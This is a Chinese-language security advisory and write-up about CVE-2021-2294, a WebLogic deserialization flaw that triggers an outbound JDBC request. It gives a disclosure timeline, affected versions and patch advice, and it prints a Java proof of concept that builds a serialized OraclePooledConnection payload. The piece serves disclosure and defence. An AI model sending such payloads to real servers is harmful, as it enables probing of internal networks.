作者:thiscodecc@墨云科技VLab Team
原文链接:https://mp.weixin.qq.com/s/lUAkk9iI1yUBjy4l1eFYpg

漏洞简述

2021年1月12日,墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server 反序列化JDBC漏洞,2021年4月21日Oracle发布了致谢信息。

2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞。议题地址 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

读完这个议题后觉得挺有意思的,于是花了一些时间在WebLogic中找了一条在反序列化调用链中能发起JDBC请求的调用链,但是在jdbc请求的过程中我并没有发现执行ObjectInputStream.readObject的地方,由于WebLogic在高版本的JDK中使用了JEP290特性注册了ObjectInputFilter,那么即使我发现有ObjectInputStream.readObject的地方应该也无法进行RCE。用这种方法去读取weblogic上面的文件时,我直接使用恶意的mysql db没有成功读取到weblogic上面的文件,恶意的oracle db网上没有现成的,这里我选择了放弃自己写一个恶意的oracle db,最后给oracle提交这个漏洞的时候,只能证明在内网发起一个jdbc请求,危害比较低,cvss评分只有6.5。

时间线

  • 2021年1月12日向Oracle官方报告了此漏洞
  • 2021年1月13日Oracle分配了issue编号
  • 2021年1月25日Oracle确认在下一个补丁日修复此漏洞
  • 2021年4月17日Oracle分配CVE编号CVE-2021-2294
  • 2021年4月21日Oracle发布致谢信息

影响版本

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

漏洞分析

漏洞代码位于ojdbc6.jar(这个漏洞是影响全版本的,不同版本的weblogic引入的jar不一样,测试可以把ojdbc*.jar引入到项目里面),oracle.jdbc.pool.OraclePooledConnection.class文件的readObject方法调用了this.oracleDriver.connect

image-20210417215227192

->

image-20210417215354675

->

image-20210417215630363

->

image-20210417215657435

->

image-20210417215828963

->

image-20210417220046223

->

image-20210417220158020

->

image-20210417220226011

在这里发起了jdbc请求

验证POC:

java.util.Properties jup = new java.util.Properties();
jup.setProperty("InitialLimit", "1");
jup.setProperty("MinLimit", "1");
jup.setProperty("MaxLimit", "2");

Class<?> aClass = Class.forName("oracle.jdbc.driver.OracleDriverExtension");
Class<?> aClass1 = Class.forName("oracle.jdbc.driver.T4CConnection");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor(String.class, Properties.class, aClass);
declaredConstructor1.setAccessible(true);

//ip
String ip = "127.0.0.1:1111";
Object o = declaredConstructor1.newInstance("jdbc:oracle:thin:@" + ip + ":src", jup, null);

//password
Constructor<OpaqueString> declaredConstructor = OpaqueString.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
OpaqueString opaqueString = declaredConstructor.newInstance("123456");

Field password = aClass1.getDeclaredField("password");
password.setAccessible(true);
password.set(o, opaqueString);

//userName
Class<?> aClass2 = Class.forName("oracle.jdbc.driver.GeneratedPhysicalConnection");
Field userName = aClass2.getDeclaredField("userName");
userName.setAccessible(true);
userName.set(o, "root");

OraclePooledConnection oraclePooledConnection = new OraclePooledConnection();

//physicalConn
Field physicalConn = oraclePooledConnection.getClass().getDeclaredField("physicalConn");
physicalConn.setAccessible(true);
physicalConn.set(oraclePooledConnection, o);

serialize(oraclePooledConnection, "./vlab.ser");

发送POC,wireshark抓流量看下

image-20210417220602579

修复建议

1.禁用 T3 /IIOP协议:如果您不依赖 T3 /IIOP协议进行JVM通信,可通过暂时阻断 T3 /IIOP 协议缓解此漏洞带来的影响。

2.更新最新补丁,参考Oracle官网发布的补丁:

https://www.oracle.com/security-alerts/cpuapr2021.html


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1923/